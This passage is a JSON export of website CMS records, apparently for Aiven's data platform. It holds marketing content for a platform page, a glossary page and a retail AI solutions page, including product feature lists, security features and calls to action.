logo","asset":{"_ref":"image-2aadb73ffc8ecbc3747f4ba5ca1705b1e1f9e776-38x48-png","_type":"reference"}},"title":"Auth0"},{"_key":"l5s6qsosrvjm1twmpowaby44q4mt9968","_type":"textIconItem","icon":{"_type":"mainImage","alt":"FusionAuth logo","asset":{"_ref":"image-464fc02ec7c43c5947991a0eb54dacf652749812-47x48-png","_type":"reference"}},"title":"FusionAuth"},{"_key":"1xvcx1szzlyeyi3xoszwi8xi39z1ut3k","_type":"textIconItem","icon":{"_type":"mainImage","alt":"Azure AD logo","asset":{"_ref":"image-6ea6284e995c0582493b818cbddd45f5b331204c-512x512-png","_type":"reference"}},"title":"Azure AD"},{"_key":"lxwxhh6ewo550a7djw6rdsh2y9signec","_type":"textIconItem","icon":{"_type":"mainImage","alt":"Okta logo","asset":{"_ref":"image-7ca00d77106a3a3e685189391226e0a369971d49-512x512-png","_type":"reference"}},"title":"Okta"},{"_key":"ekjeupxyg22alf8qtrc0lzlogvo3x1sv","_type":"textIconItem","icon":{"_type":"mainImage","alt":"OneLogin logo","asset":{"_ref":"image-cf4caddee0c6423b881728ae13d5e028bac6ee1a-462x462-png","_type":"reference"}},"title":"OneLogin"},{"_key":"4ufx1yijyanx5gn8rh8dac4uo762x8cu","_type":"textIconItem","icon":{"_type":"mainImage","alt":"Google logo","asset":{"_ref":"image-67c9baae7ccc0cddbb36097f4245bb85e5bd15b5-49x48-png","_type":"reference"}},"title":"Google"}],"integrations":[{"_key":"eavw6aohv8ylvugghd4ceqedq8p07exl","_ref":"22d8ccfb-b77c-4029-94c0-c7519397935a","_type":"reference"},{"_key":"0tqh8ivomce1tvw7z0pnxaf09hhcecgf","_ref":"6b6199d0-5ca3-421d-91df-82fb15688d28","_type":"reference"},{"_key":"st51izrg2f89o4qeo475mqbi0aop45zx","_ref":"2ba1dfda-6041-4ac9-b258-085aa41ebfa1","_type":"reference"},{"_key":"wdfnfabshg8t6ezz8u7vhzzna4y2jxeh","_ref":"beb356d4-e5a4-4c9c-abfa-9f58e3d9cebc","_type":"reference"},{"_key":"eq677n9ndj5c4z5zcpysms1j28on0mfc","_ref":"fb7167db-3a21-49ad-836b-c1b8b34eaa77","_type":"reference"},{"_key":"oaiq072ej3m06f4undgjy29o2c734dnr","_ref":"5965cdaa-ee18-4090-a084-62463619b757","_type":"reference"},{"_key":"1xynp5hwilydl5q1l442tyrxm1m6m5bs","_ref":"ab20f261-f294-45ca-8289-e369255c7366","_type":"reference"},{"_key":"fq1csy5k4pk2labe3kdv11aimik5m11e","_ref":"db1c8e5c-df2f-48b1-aae4-852962d61aeb","_type":"reference"},{"_key":"7d6ihqnb7heqalq53cd2eehncsymhgt4","_ref":"98cebc13-16ae-42db-a6de-4458949c0dc3","_type":"reference"},{"_key":"2yeg3f1liu5xpaculco47l7f9faxffd1","_ref":"76a88a82-92c9-409d-9f30-30207c9ba701","_type":"reference"},{"_key":"qf3lzwzge4f9g27kvf950lxccgid3f45","_ref":"5007821b-436e-4ebb-8a07-242c4a5f7448","_type":"reference"},{"_key":"5jhcndpmiyd1sg05ug3bdwjte7bp7xix","_ref":"157b3267-4eb0-49eb-ad17-537d5a95772d","_type":"reference"},{"_key":"k3p04rnqap5lxdau4qy7g9jui2dlb97k","_ref":"4bed5fe2-e20e-4edc-b54b-5bb47e9fd982","_type":"reference"},{"_key":"y4vc5cnko7v60039gutthla603b919ni","_ref":"4b76ba83-b8b9-4f4e-b04f-670c2994ce1e","_type":"reference"}],"managed":[{"_key":"iqfoda9asv9ffam56u3aboys6io1whd0","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-380123baa06f9ca6bb46fe482bdcc97c47209fa5-40x40-svg","_type":"reference"}},"title":"Option for 24/7 enterprise support"},{"_key":"ag3ol8307u9p3ubffo5784fia59lisdz","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-8474ceba50fe54d50d2670a9c9addbaa3cda6c3a-40x40-svg","_type":"reference"}},"title":"99,99% uptime"},{"_key":"cg2pcj9lyggvxq3f3upbu4km34hi4q0h","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-e78c0cfc10eb10e0f1755722c4e90bca06cb515b-40x40-svg","_type":"reference"}},"title":"High availability"},{"_key":"i4n3kkjxdwotlbtnclfukjhsgr7u8dgk","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-9c38e4da11ad04c0092f9636f7a9fd83031bd77d-40x40-svg","_type":"reference"}},"title":"6+ clouds and 100+ regions"},{"_key":"utsfdzs7yvcslri96qvd329v9kvhc1e7","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-9b722bb976b2ca9767d6e95bbe71206a156c84f8-40x40-svg","_type":"reference"}},"title":"Automated backup"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","securityNetwork":[{"_key":"fvocndcpis6320vsovdwvs8n7jsunfpz","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-c195dd4a51d06e7435afd3a72c230871cb99de24-40x40-svg","_type":"reference"}},"title":"Encryption in transit and at rest"},{"_key":"59jkfh5valoinndddtxrhsk95lhpssqc","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-7129481004ef88ea22a8c2f6a2c7daaf7126bb9a-40x40-svg","_type":"reference"}},"title":"Dedicated virtual machines"},{"_key":"xquzcqg7mii11mwa3nvt1hgg7kx4g9jt","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-cf142cafaab2b83bf2b2fa991a3a582da04545b1-40x40-svg","_type":"reference"}},"title":"Automated security updates"},{"_key":"78ev9886q4mi7wjhkcbhsegsrx5ey40c","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-4101100615713e748e9a72604adb0a26b86ab150-40x40-svg","_type":"reference"}},"title":"VPC Peering"},{"_key":"0oo2a9krv0jhb20hbmda0bscx787lugl","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-f3ffa2a39382f848d72e84cb80bda5c8df0c4088-40x40-svg","_type":"reference"}},"title":"Private-link"},{"_key":"96vv4qn8kki9eqk6yxe9qumo8b7ncrpu","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-e5612d6f4c1fce0ace581f6e2b1ff516f266ee26-40x40-svg","_type":"reference"}},"title":"Transit-gateway"}],"services":[{"_key":"kwwhd5n36al3f3jz3kksvqy56emmhsex","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"08977ec08692854e76376579aa92ec53","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"reference"},{"_key":"c63e4ce6b7b2ca69454d294dd5a71a3f","_ref":"62cedd51-63b9-476e-8e2e-9076cef60562","_type":"reference"},{"_key":"rnt0u8dr80iazdxrlzldzazs56or1hdh","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"reference"},{"_key":"c0c480007790","_ref":"db342e52-911f-4028-8bf6-22a131000126","_type":"reference"},{"_key":"0662a909c469","_ref":"dbcea4b7-b6c9-43d7-a23f-b09594966858","_type":"reference"},{"_key":"5491e0c1b7cc6c76f8ef9ec5f3a47487","_ref":"4a513bb1-7be8-4a17-a847-cbbeedb2da2b","_type":"reference"},{"_key":"93z9e8kweis3l2lelxzuperi61qczo7v","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"k025bt7xmak6q9w24nfsaqwocpy26qyr","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"},{"_key":"1nugagna7pwfplbjpje5bim8qkyn7exz","_ref":"32901e10-74d0-48c8-a797-be1bb58c8839","_type":"reference"},{"_key":"ktsdhe6yd3qjxpv10hrwlt7upp7gx83y","_ref":"15ecb747-c8c1-42ad-baab-e7551844a508","_type":"reference"},{"_key":"i15tjfil421an4sz5yjh30dzcsh64bvt","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"reference"},{"_key":"yunqvg2cmqmhj9baktjn5u7xmdm424wn","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"3f194d1562c244121cd0b70032336c35","_ref":"d7af1e8f-797a-4896-8a4f-3cfc07701050","_type":"reference"},{"_key":"qx24k94kcsa3a09pa6792jl641yvkbtm","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"}],"subtitle":[],"title":"How does it all work together","tools":[{"_key":"muya0gn2zq9rwrz65fj6gk1a2h8p5g4x","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"reference"},{"_key":"hkzr3jj2qomth7zisrtl9puox68jyb13","_ref":"2c9ddba5-c82b-4166-95c8-22f314164f97","_type":"reference"},{"_key":"vfidqla8xgwh2p3hvjsqqaz5970ygq9c","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"reference"},{"_key":"p6hs0wygk9m5xn8g03ioiox6n6gjhxgl","_ref":"7179878d-2860-4cc5-a30e-a1e24b236517","_type":"reference"}]},{"_key":"bj1tef3jfxfv4pnqv1rlheodnd08j8ex","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-ba35631acc0eb21098da3e2f4d7d78198ce29710-2528x428-png","_type":"reference"}},"imagePosition":"center","mediaWidth":"sm","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"roundedCorners":"rounded-b","secondaryCTA":{"_type":"link","internalLink":{"_ref":"16b06c52-bdff-4f7c-90f7-f564e1faac21","_type":"reference"},"title":"Discover our pricing"},"text":[{"_key":"oip3j1mk2hgp6s26uzmv8zwst8gwh6mg","_type":"block","children":[{"_key":"4ao8l2uj8wv6lmhr5f5mhq7yelpzfxki","_type":"span","marks":[],"text":"All inclusive pricing so you have no end of the month surprises.\nNo add-on maintenance, networking and storage fees."}],"markDefs":[],"style":"normal"}],"title":"Get started with Aiven today","topOverlap":false,"variant":"mediaCenter"},{"_key":"c9f9e67cdcd9","_type":"relatedBlogs","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","categories":[{"_key":"3b552735d387","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"}],"disabled":false,"fullWidth":false,"limit":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Related resources","topOverlap":false}],"infoBanner":{"_ref":"9f414a85-59fd-4fc1-864b-1154cd27ee37","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"An open platform to stream, store and analyze data. Fully managed service, available on all major clouds.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-3bc8f54e3cd967109065416bc63bc34c62c861b1-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven Platform\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Managed database\",\n \"description\": \"Aiven Platform is a unified, cloud-agnostic platform to stream, store, and serve data on any cloud.\",\n \"featureList\": \"Cross-cloud and cross-region disaster recovery, AI-driven insights, High availability, Available in Google Cloud Platform, Available in Amazon Web Services, Available in Microsoft Azure, Available in DigitalOcean\",\n \"softwareHelp\": {\n \"url\": \"https://aiven.io/docs\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source distributed messaging system\",\n \"applicationSubCategory\": \"Message bus\"\n}","metaTitle":"Aiven Platform"},"slug":{"_type":"slug","current":"/platform"},"title":"Aiven Platform"} {"__i18n_lang":"en","_createdAt":"2024-03-20T09:03:20Z","_id":"59439506-d307-4ea8-ac85-0d0388792985","_rev":"6j6P61R1foxseviy5vK9al","_type":"page","_updatedAt":"2024-10-07T06:40:51Z","content":[{"_key":"6c5bd4d87d8a","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"description":[{"_key":"9064e4c7c0f9","_type":"block","children":[{"_key":"9a3484e02ef0","_type":"span","marks":[],"text":"Explore definitions on various key terms and concepts"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-b","title":"Glossary","titleMultiColor":false,"variant":"compact"}],"seo":{"_type":"metaData","metaDescription":"Learn about data, databases, data streaming, and cloud data infrastructure. Dive into our data glossary for insights and deeper understanding.\n","metaImage":{"_type":"mainImage","asset":{"_ref":"image-363864318409954e0c36f96071e8262c01849f55-1200x628-jpg","_type":"reference"}},"metaTitle":"Data Glossary - Terms and Concepts | Aiven"},"slug":{"_type":"slug","current":"/glossary"},"title":"Glossary"} {"__i18n_lang":"en","_createdAt":"2024-09-12T13:06:49Z","_id":"7a20f3cc-f6ae-4c02-bbca-28f6bc8c19eb","_rev":"361RAIwzq1qtsuTXHePTex","_type":"page","_updatedAt":"2024-09-12T13:08:03Z","content":[{"_key":"tyn3k5jfjxz6zmtjyu6nydy5bot07jsa","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center bottom","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"parentPage":{"_type":"link","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"}}},"darkTheme":true,"disabled":false,"fullWidth":false,"headline":[{"_key":"0964y4vw9njwdiswnbwmgk5k950b262a","_type":"block","children":[{"_key":"xhg8kofw5x63czt7soz1ls6i62ifux2o","_type":"span","marks":["color-primary"],"text":"Reimagine Retail"},{"_key":"5b7eb147a3d9","_type":"span","marks":[],"text":" \nwith Aiven's Data \nand AI Platform. "}],"markDefs":[],"style":"h1"},{"_key":"f35b5366a1a7","_type":"block","children":[{"_key":"6d536c39f8fa","_type":"span","marks":[],"text":"Leverage reliable, open-source data infrastructure to scale efficiently, enhance innovation with AI, and reduce database deployment time by 78%."}],"markDefs":[],"style":"normal"}],"heroHasVideo":true,"imageSize":"large","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book Your Retail Transformation"},"roundedCorners":"rounded-b","title":"Evolve your applications with Aiven for AI","titleMultiColor":true,"variant":"default","videoHosting":"youtube","ytId":"YKhzd6rV_rM"},{"_key":"cccf76435ee7","_type":"iconList","darkTheme":false,"disabled":false,"fullWidth":true,"headerPosition":"default","iconSize":24,"icons":[{"_key":"e1df19dfd2ab","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-ae904dc4f35e259578ede3723110880b94da9928-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"acaa41175777","_type":"block","children":[{"_key":"3d595c9954b50","_type":"span","marks":[],"text":"Every item, tracked and managed."}],"markDefs":[],"style":"normal"}],"title":"Inventory management"},{"_key":"ea8b2d8036a7","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"d86b45e705dc","_type":"block","children":[{"_key":"268593dca4e90","_type":"span","marks":[],"text":"Create hyper-personalized, omnichannel customer experiences."}],"markDefs":[],"style":"normal"}],"title":"Customer accounts"},{"_key":"c029113ae7f3","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-bda93dbe58712282f2d4113904f1aabf01149f70-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"f2a82d37d740","_type":"block","children":[{"_key":"ae1fded623350","_type":"span","marks":[],"text":"Based on knowing your customers."}],"markDefs":[],"style":"normal"}],"title":"Shopping recommendations"},{"_key":"2f14681c11df","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-b75b64e036bf3f1eda9c1349e49abef43314cfd1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"6f8c8cd16db4","_type":"block","children":[{"_key":"f6e22a44b52b0","_type":"span","marks":[],"text":"Ramping capacity to meet demand."}],"markDefs":[],"style":"normal"}],"title":"Peak planning"},{"_key":"e0672b1e8374","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-73a25c406ca043f1861705a1aa9431c4f7f9aeeb-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"f99e85fb8e92","_type":"block","children":[{"_key":"c752fd3de1c20","_type":"span","marks":[],"text":"Determining potential future demand."}],"markDefs":[],"style":"normal"}],"title":"Demand forecasting"},{"_key":"b4202ba00a74","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-2f0ec2a798fc88e9dba0d032d62808bf5b885e3c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"9d7a2e9e841a","_type":"block","children":[{"_key":"63bf38e74c050","_type":"span","marks":[],"text":"Ensuring optimal production and profits."}],"markDefs":[],"style":"normal"}],"title":"Optimizing labor"},{"_key":"ee439544e139","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-29107c2858e1703d824dae21515eaa4bfa75a216-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"b5fa9fba690d","_type":"block","children":[{"_key":"43ff2d528c4c0","_type":"span","marks":[],"text":"Capturing and analysing real-time data to remain competitive."}],"markDefs":[],"style":"normal"}],"title":"Real-time data analytics"},{"_key":"6340c113cffe","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"c9046f374ba9","_type":"block","children":[{"_key":"94b11fb671c90","_type":"span","marks":[],"text":"Business critical security for customer peace of mind."}],"markDefs":[],"style":"normal"}],"title":"Secure transactions"},{"_key":"982f0ad7c7a4","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-acd4d7ea144a9cfcc6470a23f4699a2afdaf5889-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"bb64079f28a6","_type":"block","children":[{"_key":"bc25a022ca4a0","_type":"span","marks":[],"text":"Managing stock, deliveries and returns."}],"markDefs":[],"style":"normal"}],"title":"Freight and shipping"}],"itemsPerRow":3,"noSpaceTop":false,"roundedCorners":"rounded-tl-br","subtitle":[{"_key":"6020acff1965","_type":"block","children":[{"_key":"13a73bd5e93d0","_type":"span","marks":[],"text":"With Aiven's data and AI platform, retailers have a versatile, reliable, and cost-effective way to build solutions that make a tangible difference to the customer experience."}],"markDefs":[],"style":"normal"},{"_key":"adee0d32637b","_type":"block","children":[{"_key":"067ccc7bd51b0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Retail is in the Detail"},{"_key":"4e42dd10fc5d","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"422eadb4a576","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"c5dcf9766359","_type":"block","children":[{"_key":"81d891dfbcee0","_type":"span","marks":[],"text":"Leverage popular open-source technology and access a vast talent pool to build top solutions while enjoying the freedom to use multiple clouds."}],"markDefs":[],"style":"normal"}],"title":"Open Choice","variant":"icon-card"},{"_key":"c3b68bf57dd5","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"4da44ba7aa4e","_type":"block","children":[{"_key":"63992a5efe370","_type":"span","marks":[],"text":"Leverage multiple clouds to maximize cost savings and govern data on a single platform. Enhance resiliency with cross-region and cross-cloud replication and disaster recovery."}],"markDefs":[],"style":"normal"}],"title":"Deploy to any cloud","variant":"icon-card"},{"_key":"cf9020dff6b6","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"34b37a0445fd","_type":"block","children":[{"_key":"5de1359a70940","_type":"span","marks":[],"text":"Boost engagement and satisfaction with "},{"_key":"790fcd7859fb","_type":"span","marks":["821da93fba55"],"text":"event-driven architecture"},{"_key":"076e194a0675","_type":"span","marks":[],"text":" and real-time personalization. Delight shoppers with instant responses based on real-time events, enhancing user experience."}],"markDefs":[{"_key":"821da93fba55","_type":"internalLink","internalLink":{"_ref":"f820e157-d994-42a0-8492-e7ca6a5d655c","_type":"reference"}}],"style":"normal"}],"title":"Go Real Time","variant":"icon-card"},{"_key":"5746b40ff915","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"698dbc17c9ae","_type":"block","children":[{"_key":"1252ed39ef700","_type":"span","marks":[],"text":"Accelerate outcomes using "},{"_key":"05ed68e6e15b","_type":"span","marks":["971583e643a3"],"text":"Aiven's AI Database Optimizer"},{"_key":"2a176a688cc4","_type":"span","marks":[],"text":" to provide coding suggestions in minutes, enhance database performance, and resolve issues faster, saving time and resources."}],"markDefs":[{"_key":"971583e643a3","_type":"internalLink","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"}}],"style":"normal"},{"_key":"5c454270aa5d","_type":"block","children":[{"_key":"5f01187864a20","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"AI-driven optimization ","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book Your Retail Transformation"},"roundedCorners":"rounded-tl","subtitle":[{"_key":"19ad3d1efcc6","_type":"block","children":[{"_key":"30a4c85b45640","_type":"span","marks":[],"text":"Boost your business with a data platform that simplifies infrastructure, minimizes risk, and delivers faster results. Quickly deploy new data services to accelerate development, freeing your team to innovate instead of maintaining systems, and increase your bottom line."}],"markDefs":[],"style":"normal"}],"title":"Why Aiven? ","topOverlap":false},{"_key":"872b2fd734db","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"a9c88ff30e9c7379e9bade61eebc29f1","_type":"tabItem","content":[{"_key":"6d204f1d19c9","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-93e5885d06f0ee85d4ddff32a2ff0990ac5f153b-1096x1146-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"bb81910d677b","_type":"block","children":[{"_key":"a73829cd129d","_type":"span","marks":[],"text":"Integrate real-time data with AI"}],"markDefs":[],"style":"h4"},{"_key":"3549d7920077","_type":"block","children":[{"_key":"e7d6e078c2d60","_type":"span","marks":["strong"],"text":"Enhanced Customer Experience: "},{"_key":"e7d6e078c2d61","_type":"span","marks":[],"text":"Enhance customer experiences and boost sales through personalized product recommendations, dynamic pricing, and targeted promotions."}],"markDefs":[],"style":"normal"},{"_key":"360154d5b3f0","_type":"block","children":[{"_key":"d03cb13edc880","_type":"span","marks":["strong"],"text":"Improved Operational Efficiency: "},{"_key":"d03cb13edc881","_type":"span","marks":[],"text":"Optimize supply chains through AI-powered demand forecasting, ensure efficient inventory management and reduce waste, and streamline store operations through better resource allocation for cost reduction."}],"markDefs":[],"style":"normal"},{"_key":"bb62d1c72906","_type":"block","children":[{"_key":"f0491021308b0","_type":"span","marks":["strong"],"text":"Increased Sales and Revenue:"},{"_key":"f0491021308b1","_type":"span","marks":[],"text":" Identify emerging trends and build targeted marketing campaigns for higher conversion rates and increase repeat purchases."}],"markDefs":[],"style":"normal"},{"_key":"cb53f848d27b","_type":"block","children":[{"_key":"c3ea8d7c0f85","_type":"span","marks":["strong"],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"7be83e2fd2a9","_type":"block","children":[{"_key":"579e643d9219","_type":"span","marks":[],"text":"Perform real-time ML inference on your Kafka stream"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ebae47b1afd2","_type":"block","children":[{"_key":"55b1f9a80d62","_type":"span","marks":[],"text":"Join data from external and internal sources while removing sensitive information to get a holistic view of your business"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6e7a290c3e71","_type":"block","children":[{"_key":"e6191be0a6a4","_type":"span","marks":[],"text":"Provide a layer of abstraction between data sources and the AI serving layer without changing the underlying data structure"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"ai-streaming","imageHeight":35,"title":"Real-time AI"},{"_key":"6d5af1f4be63537a69d469108f429a73","_type":"tabItem","content":[{"_key":"d799a757a27b","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-0bd9edddfc7930433789167d847bfead220a71f9-1659x1396-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"lg","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"d887c3cce693","_type":"block","children":[{"_key":"46435abb3bae0","_type":"span","marks":[],"text":"Build a delightful search experience"}],"markDefs":[],"style":"h4"},{"_key":"0bbd53eb064a","_type":"block","children":[{"_key":"4a1509fb11570","_type":"span","marks":["strong"],"text":"Personalization"},{"_key":"4a1509fb11571","_type":"span","marks":[],"text":": Leverage user behavior and preferences to deliver personalized product recommendations."}],"markDefs":[],"style":"normal"},{"_key":"86ba35390e0e","_type":"block","children":[{"_key":"85d99f84e4d80","_type":"span","marks":["strong"],"text":"Enhanced User Engagement"},{"_key":"85d99f84e4d81","_type":"span","marks":[],"text":": Engage users on your site longer and encourage repeat visits with a more effective search function."}],"markDefs":[],"style":"normal"},{"_key":"eb1329c18cf7","_type":"block","children":[{"_key":"56cbe84d4a130","_type":"span","marks":["strong"],"text":"Handling Large Catalogs"},{"_key":"56cbe84d4a131","_type":"span","marks":[],"text":": Efficiently handle large and diverse product catalogs, making it easier for customers to find specific items even in extensive inventories."}],"markDefs":[],"style":"normal"},{"_key":"5286ba0b349b","_type":"block","children":[{"_key":"6e3dac483fbf","_type":"span","marks":["strong"],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"3ee938bcc9ad","_type":"block","children":[{"_key":"0345dcddc708","_type":"span","marks":[],"text":"Augment product catalogs on Aiven for Postgres with AI-driven search capabilities through pgvector."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"search","imageHeight":35,"title":"AI enabled product search"},{"_key":"8063cbe9d365c8f5c5fc6ef1c1d73206","_type":"tabItem","content":[{"_key":"d799a757a27b","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-e7101c4e9d5beb60b4a5c956ef7cc91f803aa4e5-1616x1452-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"lg","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"d3a3a36c0bd9","_type":"block","children":[{"_key":"b532a756d00b0","_type":"span","marks":[],"text":"Chatbots trained on your enterprise data"}],"markDefs":[],"style":"h4"},{"_key":"400527bf7c57","_type":"block","children":[{"_key":"b4576acf90a40","_type":"span","marks":["strong"],"text":"Handle Routine Inquiries:"},{"_key":"b4576acf90a41","_type":"span","marks":[],"text":" Free up human agents to deal with more complex issues by handling routine and repetitive questions."}],"markDefs":[],"style":"normal"},{"_key":"026ddb7d273c","_type":"block","children":[{"_key":"00dc3eb95f550","_type":"span","marks":["strong"],"text":"Scale:"},{"_key":"00dc3eb95f551","_type":"span","marks":[],"text":" 